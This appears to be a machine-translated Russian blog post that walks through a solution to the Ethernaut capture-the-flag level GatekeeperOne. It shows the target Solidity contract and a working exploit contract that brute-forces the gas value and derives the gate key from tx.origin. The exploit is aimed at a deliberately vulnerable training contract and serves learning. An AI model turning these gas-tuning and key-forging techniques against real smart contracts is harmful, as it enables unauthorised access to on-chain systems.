Эфирная серия-уровень 13(GatekeeperOne)


УРОВЕНЬ 13 (GatekeeperOne):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
Войдите в полноэкранный режим Выход из полноэкранного режима

Требования

абитуриент=игрок

Ключевые моменты

1. разница между tx.origin и msg.sender, которая обсуждалась ранее
2. настройки стоимости газа
https://docs.soliditylang.org/en/v0.8.14/control-structures.html?highlight=gas%3A#external-function-calls
3. Преобразования типов и битовые значения
https://docs.soliditylang.org/en/v0.8.14/types.html#conversions-between-elementary-types

Решение

gateOne: Если вы вызываете другие контракты в своем собственном контракте, tx.origin и msg.sender будут разными.

gateTwo: необходимо понять, как gasleft() и контракты потребляют газ, и как указать максимальный газ для вызова
Вы можете вывести общее значение gasLeft() + (кратное 8191) соответствующего контракта из console.log
Эта строка gasLeft() может быть не совсем такой, как локальная, возможно, потому что оптимизация не включена, поэтому вы можете добавить цикл gas+1 и продолжить попытки

gateThree:
Это следует понимать как перехват и дополнение преобразования единиц измерения, подробнее см. примечания к коду

контракты/13GatekeeperOneRun.sol

 function run(address _runAddress) external  {
    //gas = 254+8191; (用console.log打印出gas剩余,本地测算是254,不过线上可能有些许差异可能是有带优化参数,所以可以调小254进行循环测试)
    uint256 gas = 254+81910;

    /**
     *  
     *  1.require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
     *  2.require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
     *  3.require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three"); 
     *  gateKey三个条件都满足才能通过
     *  分析:
     *  首先要把address转成对应的uint160,gateKey是byte8对应uint64
     *  根据条件3:tx.origin的0-16跟gateKey的0-16是一样
     *  根据条件1:16-32位要全是0 (不然截取后不会相等)
     *  根据条件2:32-64位不全是0  (不然截取后会相等)
     *  所以uint64(uint16(uint160(tx.origin)),把address转成160后截取成16再转成64位后,自动满足条件1和3,但不满足条件2,故再加上0x1_00_00_00_00即可(把33设为1)
     *       
     */
    bytes8 gateKey = bytes8(uint64(uint16(uint160(tx.origin))+0x100000000)); 
    while (true) {
      (bool result,) = _runAddress.call{gas:gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));
      if (result) {
        break;
      }      
      gas++;
    }
  } 
Войдите в полноэкранный режим Выход из полноэкранного режима

Оцените статью
Procodings.ru
Добавить комментарий